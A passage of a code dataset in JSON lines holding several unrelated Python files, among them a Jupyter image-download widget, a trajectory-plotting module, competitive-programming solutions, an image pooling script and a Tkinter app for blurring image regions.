configuration_str)\nprint(response.text.encode('utf8'))\n","repo_name":"kobiton/samples","sub_path":"xcuitest/python/xcuitest.py","file_name":"xcuitest.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"48"} +{"seq_id":"21812040951","text":"from .. import haven_utils\nfrom .. import haven_results as hr\nfrom .. import haven_utils as hu\nfrom .. import haven_share as hd\n\nimport os\nimport pprint\nimport json\nimport copy\nimport pprint\nimport pandas as pd\nfrom . import widgets as wdg\n\ntry:\n import ast\n from ipywidgets import Button, HBox, VBox\n from ipywidgets import widgets\n\n from IPython.display import display\n from IPython.core.display import Javascript, display, HTML\n from IPython.display import FileLink, FileLinks\n from ipywidgets.widgets.interaction import show_inline_matplotlib_plots\nexcept Exception:\n print(\"widgets not available...\")\n\n\ndef images_tab(self, output):\n db = self\n\n if db.vars.get(\"legend_list\") is None:\n db.vars[\"legend_list\"] = hu.get_diff_hparam(db.rm.exp_list)\n w_legend = wdg.SelectMultiple(header=\"Legend:\", options=db.rm.exp_params, db_vars=db.vars, var=\"legend_list\")\n\n w_n_exps = wdg.Text(\"n_exps:\", default=\"3\", type=\"int\", db_vars=db.vars, var=\"n_exps\")\n w_n_images = wdg.Text(\"n_images:\", default=\"5\", type=\"int\", db_vars=db.vars, var=\"n_images\")\n w_figsize = wdg.Text(\"figsize:\", default=\"(10,5)\", type=\"tuple\", db_vars=db.vars, var=\"figsize\")\n w_dirname = wdg.Text(\"dirname:\", default=\"images\", type=\"str\", db_vars=db.vars, var=\"dirname\")\n\n bdownload = widgets.Button(description=\"Download Images\", layout=self.layout_button)\n bdownload_out = widgets.Output(layout=self.layout_button)\n bdownload_zip = widgets.Button(description=\"Download Images zipped\", layout=self.layout_button)\n bdownload_zip_out = widgets.Output(layout=self.layout_button)\n brefresh = widgets.Button(description=\"Display Images\")\n button = widgets.VBox(\n [\n widgets.HBox(\n [\n w_legend.get_widget(),\n w_n_exps.get_widget(),\n w_n_images.get_widget(),\n w_figsize.get_widget(),\n w_dirname.get_widget(),\n ]\n ),\n widgets.HBox([brefresh, bdownload, bdownload_out, bdownload_zip, bdownload_zip_out]),\n ]\n )\n\n output_plot = widgets.Output()\n\n with output:\n display(button)\n display(output_plot)\n\n def on_clicked(b):\n output_plot.clear_output()\n with output_plot:\n self.update_rm()\n\n self.rm_original.fig_image_list = self.rm.get_images(\n legend_list=w_legend.update(),\n n_images=w_n_images.update(),\n n_exps=w_n_exps.update(),\n figsize=w_figsize.update(),\n dirname=w_dirname.update(),\n )\n show_inline_matplotlib_plots()\n\n brefresh.on_click(on_clicked)\n\n def on_download_clicked(b):\n fname = \"images\"\n from matplotlib.backends.backend_pdf import PdfPages\n import matplotlib.pyplot as plt\n\n pp = PdfPages(fname)\n for fig in self.rm_original.fig_image_list:\n fig.savefig(pp, format=\"pdf\")\n pp.close()\n\n bdownload_out.clear_output()\n\n with bdownload_out:\n display(FileLink(fname, result_html_prefix=\"Download: \"))\n\n def on_download_clicked_zip(b):\n fname = \"results.zip\"\n bdownload_zip_out.clear_output()\n\n with bdownload_zip_out:\n import zipfile, glob\n\n exp_id_list = [hu.hash_dict(exp_dict) for exp_dict in self.rm.exp_list]\n zipf = zipfile.ZipFile(fname, \"w\", zipfile.ZIP_DEFLATED)\n for exp_id in exp_id_list:\n abs_path_list = glob.glob(os.path.join(self.rm.savedir_base, exp_id, \"images\", \"*\"))\n for abs_path in abs_path_list:\n # weq\n iname = os.path.split(abs_path)[-1]\n rel_path = f\"{exp_id}_{iname}\"\n zipf.write(abs_path, rel_path)\n zipf.close()\n\n # self.rm.to_zip(savedir_base=\"\", fname=fname, fname_list=self.vars[\"fname_list\"])\n bdownload_zip_out.clear_output()\n with bdownload_zip_out:\n display(\"%d exps zipped.\" % len(self.rm.exp_list))\n display(FileLink(fname, result_html_prefix=\"Download: \"))\n\n bdownload.on_click(on_download_clicked)\n bdownload_zip.on_click(on_download_clicked_zip)\n","repo_name":"shinning0821/Point-Supervised-Segmentation","sub_path":"haven/haven_jupyter/images_tab.py","file_name":"images_tab.py","file_ext":"py","file_size_in_byte":4277,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"33424461595","text":"\"\"\"\nThis file implements data types for describing trajectories that we will be plotting\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pylab as pl\nimport matplotlib.animation as animation\nfrom MotionAnimation.PY import graphics as grpx\n\nclass Trajectory(object):\n \"\"\"\n class Trajectory\n Base class implementing the interface for a trajectory\n\n class properties:\n - _time (A list of time points at which the sample values are available)\n - _X (List of associated values for each time point - NUMPY array)\n\n \"\"\"\n\n OBJ_TYPE_LINE = 'line'\n OBJ_TYPE_DOT = 'point'\n\n def __init__(self, t_vals=np.array(()), x_vals=None):\n # Data labels and auxiliary information\n self._AXES_IDENTIFIER = None\n self._data_label = ['x']\n self._X_lims = None\n\n # Data values\n self._time = t_vals\n self._X = self._checkDataSize(x_vals)\n\n def enforceLimits(self):\n if self._X_lims is None:\n return\n\n pl.xlim(self._X_lims)\n\n def setLims(self, x_lims):\n self._X_lims = x_lims\n\n def getNTrajectories(self):\n \"\"\"\n The value returned by this function helps us distinguish a single\n trajectory from a set of trajectories\n \"\"\"\n return(1)\n\n def getTPts(self, *opts):\n \"\"\"\n Optional variable number of arguments *opts are not used. They are only\n here to maintain consistency with the calling syntax for a trajectory\n set\n \"\"\"\n return self._time\n\n def getAxisLabel(self, ax_idx):\n \"\"\"\n Get a label string corresponding to the index of data.\n\n :ax_idx: Index of the data entry. For a 3D trajectory, by default,\n ax_idx 0 would mean 'x', ax_idx 1 would mean 'y', etc.\n :returns: String associated with the data\n \"\"\"\n\n return self._data_label[ax_idx]\n\n def getAxisIdentifier(self):\n return(self._AXES_IDENTIFIER)\n\n def getContainer(self, object_type=None, figure_handle=None):\n # Get a graphics container that can be used to overlay trajectory with\n # other data (Example: Objects in the environment)\n return getFigureHandle(self._AXES_IDENTIFIER, object_type, in_fhandle=figure_handle)\n\n def _checkDataSize(self, data):\n \"\"\"\n _checkDataSize(self, data)\n After the TIME data has been set up, everythin else must match the\n dimensions of the time data. This function checks for the dimesions. If\n a NoneType object is supplied as data, ALL ZEROS are returned with the\n appropriate size, otherwise, a size check is performed.\n \"\"\"\n\n # Check the size of t_vals and set x_vals appropriately\n if data is None:\n data = np.zeros(self._time.shape)\n elif (data.shape != self._time.shape):\n raise Exception(\"Data dimensions not matched. Expect TIME data to match sample values in size\")\n return data\n\n def plotTimedTR(self, object_type=None, figure_handle=None):\n \"\"\"\n plotTimedTR(self, object_type, figure_handle)\n Function is used to animate the trajectories in time\n\n :figure_handle: Handle to a window in which the trajectory should be\n plotted\n :object_type: The category of graphics object that needs to be drawn.\n Current choices are line and point.\n :returns: TRUE is plot went through successfully, raises appropriate\n exception otherwise\n\n \"\"\"\n\n figure_handle = getFigureHandle(self._AXES_IDENTIFIER, object_type, in_fhandle=figure_handle)\n figure_handle.animate(self)\n return(True)\n\n def plotStaticTR(self, object_type=None, figure_handle=None, show=True, show_start_stop=True):\n \"\"\"\n plotStaticTR(self, object_type, figure_handle)\n Function is used to plot the trajectory data as a static plot in the\n figure window specified by figure_handle\n\n :figure_handle: Handle to a window in which the trajectory should be\n plotted\n :object_type: The category of graphics object that needs to be drawn.\n Current choices are line and point.\n :show: Determines whether the figure is displayed at the end of the\n function call or not\n :returns: TRUE if the plot went through successfully, raises\n appropriate exception otherwise.\n\n \"\"\"\n\n list_of_sample_values = self.getSampleValues()\n figure_handle = getFigureHandle(self._AXES_IDENTIFIER, object_type, in_fhandle=figure_handle)\n figure_handle.plot(*list_of_sample_values)\n\n if show_start_stop:\n # Optional: Can be disabled by passing in appropriate argument\n # Show the first and the last points in the trajectory separately\n start_point = []\n end_point = []\n for data in list_of_sample_values:\n start_point.append(data[0])\n end_point.append(data[-1])\n\n # Show the start and end points\n figure_handle.plot(*start_point, 'bo')\n figure_handle.plot(*end_point, 'rs')\n\n self.enforceLimits()\n\n if (show):\n figure_handle.show()\n\n return(figure_handle.getFigureWindow())\n\n def plot(self, figure_handle=None, axes_handles=None, show=True):\n \"\"\"\n Show a vanilla plot with Time on the X-axis and one variable of the\n trajectory along the Y-axis. In case of multi-dimensional trajectories,\n different subplots are done for different trajectory variables (x,y,\n and z).\n\n :figure_handle: Unlike the other functions, here, figure_handle is the\n figure window in which the data must be plotted.\n :axes_handles: In case a figure window is supplied, the axes handles\n can also be supplied in which the individual coordinates have to be\n plotted.\n :returns: the figure_handle and the axes_handles used for plotting.\n\n \"\"\"\n timestamps = self.getTPts()\n list_of_sample_values = self.getSampleValues()\n n_vars_to_plot = len(list_of_sample_values)\n\n if figure_handle is None:\n # Start a new figure window\n figure_handle = pl.figure()\n\n if axes_handles is not None:\n # Make sure that the correct number of axes handles have been\n # supplied - one for each variable to be plotted.\n assert(len(axes_handles) == n_vars_to_plot)\n else:\n # Creating new axes handles\n axes_handles = []\n for tr_idx in range(n_vars_to_plot):\n ax = figure_handle.add_subplot(n_vars_to_plot, 1, 1+tr_idx)\n ax.xaxis.set_label_text('Time')\n ax.yaxis.set_label_text(self.getAxisLabel(tr_idx))\n axes_handles.append(ax)\n\n # Instead of getting a figure handle which does a state space plot, we\n # just plot the timed trajectory\n for tr_idx, tr_var in enumerate(list_of_sample_values):\n axes_handles[tr_idx].plot(timestamps, list_of_sample_values[tr_idx])\n\n if show:\n pl.show(figure_handle)\n\n return figure_handle, axes_handles\n\n def getSampleValues(self, *opts):\n \"\"\"\n getSampleValues(self, *opts)\n Gets you a list of values that can directly be piped into PL for\n plotting.\n\n :*opts: Variable input argument list not used by the function. It is\n here to maintain consistency with the calling syntax for trajectory\n set class\n :returns: The sample values of the trajectory as a list of numpy arrays.\n\n \"\"\"\n\n return [self._X]\n\n def update(self, *values):\n \"\"\"\n Updated the values already available in the trajectory.\n Takes in a list of lists (The number of lists put in should match the\n class's expectations), for example, 2 for 1D trajectory (time, X).\n \"\"\"\n self._time = np.append(self._time, values[0])\n self._X = np.append(self._X, values[1])\n return\n\nclass Trajectory__2D(Trajectory):\n \"\"\"\n class Trajectory__2D \n\n \"\"\"\n\n def __init__(self, t_vals=np.array(()), x_vals=None, y_vals=None):\n super(Trajectory__2D, self).__init__(t_vals, x_vals)\n self._data_label.append('y')\n self._Y = self._checkDataSize(y_vals)\n self._Y_lims = [0, 0]\n\n def setLims(self, x_lims, y_lims):\n self._X_lims = x_lims\n self._Y_lims = y_lims\n\n def enforceLimits(self):\n super(Trajectory__2D, self).enforceLimits()\n if self._Y_lims is None:\n return\n\n pl.ylim(self._Y_lims)\n\n def getSampleValues(self, *opts):\n \"\"\"\n getSampleValues(self) [PROTECTED FUNCTION]\n\n :returns: A list of [X, Y] sample values\n\n \"\"\"\n \n return [self._X, self._Y]\n\n def update(self, *values):\n \"\"\"\n Updated the values already available in the trajectory.\n Takes in a list of lists (The number of lists put in should match the\n class's expectations), for example, 2 for 1D trajectory (time, X).\n \"\"\"\n super(Trajectory__2D, self).update(values[0], values[1])\n self._Y = np.append(self._Y, values[2])\n return\n\nclass Trajectory__3D(Trajectory__2D):\n \"\"\"\n class Trajectory__3D\n\n \"\"\"\n\n def __init__(self, t_vals, x_vals, y_vals, z_vals):\n super(Trajectory__3D, self).__init__(t_vals, x_vals, y_vals)\n self._data_label.append('z')\n self._AXES_IDENTIFIER = '3d'\n self._Z = self._checkDataSize(z_vals)\n self._Z_lims = [0, 0]\n\n def setLims(self, x_lims, y_lims, z_lims):\n self._X_lims = x_lims\n self._Y_lims = y_lims\n self._Z_lims = z_lims\n\n def enforceLimits(self):\n super(Trajectory__3D, self).enforceLimits()\n if self._Z_lims is None:\n return\n\n pl.zlim(self._Z_lims)\n \n def getSampleValues(self, *opts):\n \"\"\"\n getSampleValues(self) [PROTECTED FUNCTION]\n\n :returns: A list of [X, Y, Z] sample values\n\n \"\"\"\n \n return [self._X, self._Y, self._Z]\n\n def update(self, *values):\n \"\"\"\n Updated the values already available in the trajectory.\n Takes in a list of lists (The number of lists put in should match the\n class's expectations), for example, 2 for 1D trajectory (time, X).\n \"\"\"\n super(Trajectory__3D, self).update(values[0], values[1], values[2])\n self._Z = np.append(self._Z, values[3])\n return\n\nclass TrajectorySet(object):\n \"\"\"\n A set of trajectories (all of which may or may not be of the same kind but\n need to be plotted together for visualization)\n \"\"\"\n\n def __init__(self):\n \"\"\"\n class constructor \n \"\"\"\n self._AXES_IDENTIFIER = None\n self._tr_set = []\n \n def getNTrajectories(self):\n return(len(self._tr_set))\n\n def getTPts(self, index=0):\n \"\"\"\n getTPts(self, index)\n Function returns the time points for the trajectory specified by index\n\n :index: The index of the trajectory for which the time points are\n required\n \"\"\"\n if (index > len(self._tr_set)):\n raise Exception(\"Index access out of the set range\")\n\n return self._tr_set[index].getTPts()\n\n def getSampleValues(self, index=0):\n \"\"\"\n getSampleValues(self, index)\n Function returns the sample values for the trajectory specified by index\n\n :index: The index of the trajectory for which the sample values are\n required\n \"\"\"\n # TODO: Maybe we can create a common function to check for indices\n if (index > len(self._tr_set)):\n raise Exception(\"Index access out of the set range\")\n\n return self._tr_set[index].getSampleValues()\n\n def append(self, tr):\n \"\"\"\n Append a new trajectory to the list of trajectories stored in the set\n\n :tr: An instance of the Trajectory class (or any of its subclasses)\n that we wish to append to the already existing list of trajectories\n\n \"\"\"\n\n trajectory_axis_identifier = tr.getAxisIdentifier()\n if trajectory_axis_identifier is not None:\n self._axis_identifier = trajectory_axis_identifier\n self._tr_set += [tr]\n\n def plot(self, figure_handle=None):\n \"\"\"\n Vanilla plotting of variour coordinates for a set of trajectories\n\n :figure_handle: Figure window in which the trajectories should be drawn\n\n \"\"\"\n n_trajectories = self.getNTrajectories()\n if n_trajectories == 0:\n return\n\n if figure_handle is None:\n figure_handle = pl.figure()\n\n figure_handle, axes_handles = self._tr_set[0].plot(figure_handle,show=False)\n for tr_idx in range(1,n_trajectories):\n self._tr_set[tr_idx].plot(figure_handle, show=False)\n\n pl.show(figure_handle)\n\n def plotStaticTR(self, figure_handle=None):\n \"\"\"\n plotStaticTR(self, figure_handle)\n Function for plotting multiple trajectories together\n\n :figure_handle: Handle for the figure window in which the trajectories\n should be plotted\n \"\"\"\n\n figure_handle_ = getFigureHandle(self._AXES_IDENTIFIER, in_fhandle=figure_handle)\n print(figure_handle_)\n\n for tr in self._tr_set:\n tr.plotStaticTR(figure_handle=figure_handle_, show=False)\n\n figure_handle_.show()\n\n def plotTimedTR(self, figure_handle=None):\n \"\"\"\n plotTimedTR(self, figure_handle)\n Function for plotting multiple animated trajectories that are synchronized\n in time\n\n :figure_handle: Handle for the figure object in which the trajectories\n should be plotted\n \"\"\"\n\n figure_handle = getFigureHandle(self._AXES_IDENTIFIER, in_fhandle=figure_handle)\n figure_handle.animate(self)\n\ndef getFigureHandle(axes_identifier, obj_type=None, in_fhandle=None):\n \"\"\"\n Creates a figure handle object if nothing is provided or returns the same\n handle. Helpful when multiple trajectories have to be plotted together.\n\n :obj_type: Which plot category is needed - Currently support line and point\n :in_f_handle: input figure handle\n :returns: figure_handle if it is supplied, or creates a new one depending on\n obj_type supplied\n\n \"\"\"\n\n if in_fhandle is None:\n if (obj_type is None) or (obj_type == Trajectory.OBJ_TYPE_LINE):\n in_fhandle = grpx.LineContainer(axes_identifier)\n elif (obj_type == Trajectory.OBJ_TYPE_DOT):\n in_fhandle = grpx.PointContainer(axes_identifier)\n else:\n raise ValueError('Invalid object type: %s for creating graphics container!'% obj_type)\n\n return in_fhandle\n\ndef getTRClass(n_dims):\n \"\"\"\n getTRClass(n_dims)\n In some cases, the user might have to decide which class needs to be used\n at runtime. We can facilitate this by taking in the number of data\n dimensions as an input and returning a handle to the constructor of the\n appropriate trajectory class\n\n :n_dims: Number of dimensions for the input\n :returns: Handle to the constructor of the appropriate class\n\n \"\"\"\n\n if (n_dims == 1):\n return Trajectory\n elif (n_dims == 2):\n return Trajectory__2D\n elif (n_dims == 3):\n return Trajectory__3D\n\n raise Exception(\"Too many dimensions for a visualizable TRAJECTORY.\")\n","repo_name":"architgupta93/MotionAnimation","sub_path":"PY/data_types.py","file_name":"data_types.py","file_ext":"py","file_size_in_byte":15593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2345132338","text":"import copy\nn, m = map(int, input().split())\ncctv = []\ngraph = []\nmode = [\n [],\n [[0], [1], [2], [3]],\n [[0, 2], [1, 3]],\n [[0, 1], [1, 2], [2, 3], [0, 3]],\n [[0, 1, 2], [0, 1, 3], [1, 2, 3], [0, 2, 3]],\n [[0, 1, 2, 3]],\n]\n\n# 북 - 동 - 남 - 서\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1]\n\nfor i in range(n):\n data = list(map(int, input().split()))\n graph.append(data)\n for j in range(m):\n if data[j] in [1, 2, 3, 4, 5]:\n cctv.append([data[j], i, j])\n\n\ndef fill(board, mm, x, y):\n for i in mm:\n nx = x\n ny = y\n while True:\n nx += dx[i]\n ny += dy[i]\n if nx < 0 or ny < 0 or nx >= n or ny >= m:\n break\n if board[nx][ny] == 6:\n break\n elif board[nx][ny] == 0:\n board[nx][ny] = 7\n\n\n# dfs 탐색\ndef dfs(depth, arr):\n global min_value\n\n # cctv 길이만큼 탐색했다면\n if depth == len(cctv):\n count = 0\n # 반복문을 통해 사각지대 개수 확인\n for i in range(n):\n count += arr[i].count(0)\n min_value = min(min_value, count) # 사각지대 최소 개수 초기화\n return\n\n # 사무실 카피\n temp = copy.deepcopy(arr)\n cctv_num, x, y = cctv[depth] # 다음 cctv 위치와 방향\n \n # cctv 방향 탐색\n for i in mode[cctv_num]:\n fill(temp, i, x, y)\n dfs(depth+1, temp)\n temp = copy.deepcopy(arr)\n\n\nmin_value = int(1e9)\ndfs(0, graph)\nprint(min_value)\n","repo_name":"junjange/CodingTest","sub_path":"baekjoon/implementation/15683.py","file_name":"15683.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42274523933","text":"import scipy.io\nimport numpy as np\nimport argparse\nfrom scipy.stats import mode\nfrom tqdm import tqdm\n\nparser = argparse.ArgumentParser(description=\"pooling\")\nparser.add_argument(\"--data_folder\", type=str, default='/home/hk303/xz/data/')\nparser.add_argument(\"--data_name\", type=str, default='grey_test')\nargs = parser.parse_args()\n\ndata_load = scipy.io.loadmat(args.data_folder + str(args.data_name) + '.mat')\ndata_key = list(data_load.keys())\nprint(data_key)\n\nold_feature = data_load['grey'].astype(float)\nprint(old_feature.shape)\nprint(old_feature.dtype)\n\npool_size = 4\nh_size = old_feature.shape[0] // pool_size\nv_size = old_feature.shape[1] // pool_size\nnew_feature = np.empty((h_size, v_size)) # (3,240,180)\nprint(new_feature.shape)\nprint(new_feature.dtype)\ninput()\nfor j in tqdm(range(h_size)):\n for k in range(v_size):\n new_feature[j, k] = np.mean(old_feature[j*pool_size:(j+1)*pool_size, k*pool_size:(k+1)*pool_size]) # 特征取均值\n\nscipy.io.savemat('./data/grey_test_pool.mat', mdict={\"feature\": new_feature})\n","repo_name":"Xz-Alan/RS_Classification","sub_path":"duoyuan/test_pooling.py","file_name":"test_pooling.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"8690592315","text":"# cook your dish here\nfor _ in range(int(input())):\n n = int(input())\n s = input()\n c = 0\n i = 0\n while(i < len(s)):\n c = c + 1\n if(i != n-1 and s[i] == s[i + 1]):\n i = i + 2\n else:\n i = i + 1\n print(c)","repo_name":"dhruv-gautam16/Code_Chef-Contest-","sub_path":"STRP.py","file_name":"STRP.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"44012718694","text":"import numpy as np\nimport tkinter as tk\nimport cv2\nimport sys\nimport PIL\nimport os\nimport sys\nfrom tkinter import ttk\nfrom tkinter import (\n Frame,\n Label,\n Canvas,\n Button,\n OptionMenu,\n StringVar,\n Toplevel,\n Entry,\n messagebox,\n PhotoImage,\n)\nfrom PIL import Image, ImageTk\nfrom tkinter import filedialog as tkFileDialog\n\n\ndef resource_path(relative_path):\n try:\n base_path = sys._MEIPASS\n except Exception:\n base_path = os.path.abspath(\".\")\n\n return os.path.join(base_path, relative_path)\n\n\nBlur_options = [\n \"Averaging Blurring\",\n \"Gaussian Blurring\",\n \"Median Blurring\",\n \"Bilateral Filtering\",\n]\nROIs_options = [\"Rectangle ROIs\", \"Circle ROIs\"]\nroot = tk.Tk()\nroot.title(\"Blur App\")\nroot.geometry(\"1050x650\")\nroot.resizable(False, False)\nroot.config(bg=\"#343541\")\nROIs = []\nROIs2 = []\nbrush_size = 10\n\ndefault_blur = StringVar(root)\ndefault_blur.set(\"Averaging Blurring\")\ndefault_roi = StringVar(root)\ndefault_roi.set(\"Rectangle ROIs\")\n\nIconPhoto = PhotoImage(file=resource_path(\"images/logo.png\"))\nroot.iconphoto(True, IconPhoto)\n\n# blur defaults\nKernel_boxX = tk.StringVar()\nKernel_boxX.set(\"5\")\n\nKernel_boxY = tk.StringVar()\nKernel_boxY.set(\"5\")\n\nGauss_KernelX = tk.StringVar()\nGauss_KernelX.set(\"5\")\n\nGauss_KernelY = tk.StringVar()\nGauss_KernelY.set(\"5\")\n\nGauss_SigX = tk.StringVar()\nGauss_SigX.set(\"0\")\n\nGauss_SigY = tk.StringVar()\nGauss_SigY.set(\"0\")\n\nMedian_KernelX = tk.StringVar()\nMedian_KernelX.set(\"5\")\n\nBi_Nei = tk.StringVar()\nBi_Nei.set(\"9\")\n\nBi_Color = tk.StringVar()\nBi_Color.set(\"75\")\n\nBi_Space = tk.StringVar()\nBi_Space.set(\"75\")\n\n# Create a sharpening kernel\nSharpen_Kernel = np.array([[-1, -1, -1], [-1, 9, -1], [-1, -1, -1]])\n\n# Create a Deblur kernel\nDeblur_Kernel_StrengthDenoising = tk.StringVar()\nDeblur_Kernel_StrengthDenoising.set(\"10\")\n\nDeblur_Kernel_StrengthColor = tk.StringVar()\nDeblur_Kernel_StrengthColor.set(\"7\")\n\nDeblur_Kernel_WindowSize = tk.StringVar()\nDeblur_Kernel_WindowSize.set(\"21\")\n\n# Frames for left and right side\nleft_frame = Frame(root, width=150, height=600, bg=\"#444654\")\nleft_frame.grid(row=0, column=0, padx=10, pady=15, sticky=\"nsew\")\n\nright_frame = Frame(root, width=850, height=600, bg=\"#444654\")\nright_frame.grid(row=0, column=1, padx=10, pady=15, sticky=\"nsew\")\n\n# Left frame\n\ntools_Label = Label(\n left_frame,\n text=\"Tools:\",\n font=(14),\n relief=\"ridge\",\n bg=\"#343541\",\n fg=\"white\",\n)\ntools_Label.grid(row=1, column=0, padx=5, pady=10, ipadx=5, ipady=5)\n\ntools_sidebar = Frame(left_frame, width=100, height=600, bg=\"#343541\")\ntools_sidebar.grid(row=2, column=0, padx=10, pady=10)\n\n\nfilters_Label = Label(\n left_frame,\n text=\"Filters:\",\n font=(14),\n relief=\"ridge\",\n bg=\"#343541\",\n fg=\"white\",\n)\nfilters_Label.grid(row=3, column=0, padx=5, pady=10, ipadx=5, ipady=5)\n\nfilters_sidebar = Frame(left_frame, width=100, height=600, bg=\"#343541\")\nfilters_sidebar.grid(row=4, column=0, padx=10, pady=10)\n\n\n# Right frame\nstart_image = Image.open(resource_path(\"images/start_image.png\"))\nI = cv2.imread(resource_path(\"images/start_image.png\"))\nI_reset = I.copy()\nsave = cv2.imread(resource_path(\"images/start_image.png\"))\nresized_start_img = start_image.resize((850, 600))\nstart_img = ImageTk.PhotoImage(resized_start_img)\n\ncanvas = Canvas(right_frame, width=850, height=600, bg=\"#444654\")\ncontainer = canvas.create_image(0, 0, image=start_img, anchor=tk.NW)\ncanvas.grid(row=0, column=0, padx=5, pady=5)\n\n\ndef import_file():\n global I, I_reset, save, ROIs, ROIs2\n\n filetypes = [(\"PNG Files\", \"*.png\"), (\"JPEG Files\", \"*.jpg\")]\n\n path = tkFileDialog.askopenfilename(\n title=\"Select an Image File\", filetypes=filetypes\n )\n\n if len(path) != 0:\n I = cv2.imread(path)\n I_reset = I.copy()\n save = cv2.imread(path)\n origin_image = Image.open(path)\n\n resized_img = origin_image.resize((850, 600))\n img = ImageTk.PhotoImage(resized_img)\n canvas.itemconfig(container, image=img)\n canvas.imgref = img\n ROIs.clear()\n ROIs2.clear()\n\n\ndef export_window():\n global Save_Entry, Svariable, X_Entry, Y_Entry, SaveWin\n\n SaveWin = Toplevel(root)\n SaveWin.resizable(False, False)\n SAoptions = [\".png\", \".jpg\"]\n Svariable = StringVar(SaveWin)\n Svariable.set(\".png\")\n\n SaveFrame = Frame(SaveWin, width=180, height=185, bg=\"#343541\")\n SaveFrame.grid(row=0, column=0)\n\n Save_window = Frame(SaveFrame, width=50, height=50, bg=\"#343541\")\n Save_window.grid(row=0, column=0, padx=5, pady=5, ipadx=5, ipady=5)\n\n Save_L = Label(\n Save_window, text=\"Saving Options\", relief=\"ridge\", bg=\"#444654\", fg=\"white\"\n ).grid(row=0, column=0, padx=5, pady=3, ipadx=10)\n Save_labe = Label(\n Save_window, text=\"File Name:\", relief=\"ridge\", bg=\"#444654\", fg=\"white\"\n ).grid(row=1, column=0, ipadx=10)\n Save_Entry = Entry(Save_window)\n Save_Entry.insert(0, \"Blurred Image\")\n Save_Entry.grid(row=1, column=1, padx=5, pady=3, ipadx=10)\n\n Save_DropM = OptionMenu(Save_window, Svariable, *SAoptions).grid(\n row=1, column=2, sticky=\"w\", padx=5, pady=3, ipadx=10\n )\n\n Save_Button = Button(\n Save_window,\n text=\"Save\",\n relief=\"ridge\",\n bg=\"#444654\",\n fg=\"white\",\n command=lambda: export_file(1),\n ).grid(row=1, column=3, ipadx=10, sticky=\"news\")\n Save_As_Button = Button(\n Save_window,\n text=\"Save As\",\n relief=\"ridge\",\n bg=\"#444654\",\n fg=\"white\",\n command=lambda: export_file(2),\n ).grid(row=1, column=4, ipadx=10, sticky=\"news\")\n Ysave = Label(\n Save_window, text=\"Image Height:\", relief=\"ridge\", bg=\"#444654\", fg=\"white\"\n ).grid(row=2, column=0, padx=5, pady=3, ipadx=10)\n Xsave = Label(\n Save_window, text=\"Image Length:\", relief=\"ridge\", bg=\"#444654\", fg=\"white\"\n ).grid(row=3, column=0, padx=5, pady=3, ipadx=10)\n X_Entry = Entry(Save_window, width=3)\n X_Entry.grid(row=2, column=1, sticky=\"w\", padx=5, pady=3, ipadx=10)\n Y_Entry = Entry(Save_window, width=3)\n Y_Entry.grid(row=3, column=1, sticky=\"w\", padx=5, pady=3, ipadx=10)\n\n\ndef export_file(options):\n global Save_Entry, save, Svariable, Y_Entry, X_Entry\n Filename = []\n\n if len(Save_Entry.get()):\n if options == 2:\n Save_Path = tkFileDialog.askdirectory()\n if len(Save_Path) != 0:\n if Y_Entry.get() != \"\" and X_Entry.get() != \"\":\n if Y_Entry.get().isnumeric() and X_Entry.get().isnumeric():\n if int(Y_Entry.get()) > 0 and int(X_Entry.get()) > 0:\n save = cv2.resize(\n save, (int(X_Entry.get()), int(Y_Entry.get()))\n )\n os.chdir(Save_Path)\n Filename.append(Save_Entry.get())\n Filename.append(Svariable.get()[1:4])\n cv2.imwrite(\".\".join(Filename), save)\n SaveWin.destroy()\n else:\n Filename.append(Save_Entry.get())\n Filename.append(Svariable.get()[1:4])\n if Y_Entry.get() != \"\" and X_Entry.get() != \"\":\n if Y_Entry.get().isnumeric() and X_Entry.get().isnumeric():\n if int(Y_Entry.get()) > 0 and int(X_Entry.get()) > 0:\n save = cv2.resize(\n save, (int(X_Entry.get()), int(Y_Entry.get()))\n )\n cv2.imwrite(\".\".join(Filename), save)\n SaveWin.destroy()\n\n\ndef start_crop():\n global I, I_reset, ROIs2, center, choice\n roiPicker()\n canvasRemake(I)\n # choice = default_roi.get()\n # if choice == \"Rectangle ROIs\":\n # roiPicker1()\n # else:\n # cv2.imshow(\"Select ROIs\", I)\n # cv2.setMouseCallback(\"Select ROIs\", roiPicker2)\n\n\ndef roiPicker():\n global I, I_reset, ROIs, center, ROIs2\n\n choice = default_roi.get()\n if choice == \"Rectangle ROIs\":\n # select ROIs function\n # keep getting ROIs until pressing 'q'\n while True:\n # get ROI cv2.selectROI(window_name, image_matrix, selecting_start_point)\n\n cv2.namedWindow(\"Select ROIs\", 2)\n box = cv2.selectROI(\"Select ROIs\", I, False, False)\n\n # add selected box to box list\n ROIs.append(box)\n\n # draw a rectangle on selected ROI\n I = cv2.rectangle(\n I, (box[0], box[1]), (box[0] + box[2], box[1] + box[3]), (255, 0, 0), 2\n )\n I_reset = I.copy()\n print(\n \"ROI is saved, press q to stop capturing, press any other key to select other ROI\"\n )\n # if 'q' is pressed then break\n key = cv2.waitKey(0)\n if key & 0xFF == ord(\"q\"):\n break\n\n elif choice == \"Circle ROIs\":\n while True:\n # get ROI cv2.selectROI(window_name, image_matrix, selecting_start_point)\n box2 = cv2.selectROI(\"Select ROIs\", I, fromCenter=False)\n\n # calculate the center and radius of the circle based on the selected box\n center = (int(box2[0] + box2[2] / 2), int(box2[1] + box2[3] / 2))\n radius = int(max(box2[2], box2[3]) / 2)\n\n # add selected circle parameters to the ROIs list\n ROIs2.append((center, radius))\n\n # draw a circle on the selected ROI\n I = cv2.circle(I, center, radius, (255, 0, 0), 2)\n\n print(\n \"ROI is saved, press q to stop capturing, press any other key to select other ROI\"\n )\n # if 'q' is pressed then break\n key = cv2.waitKey(0)\n if key & 0xFF == ord(\"q\"):\n break\n\n 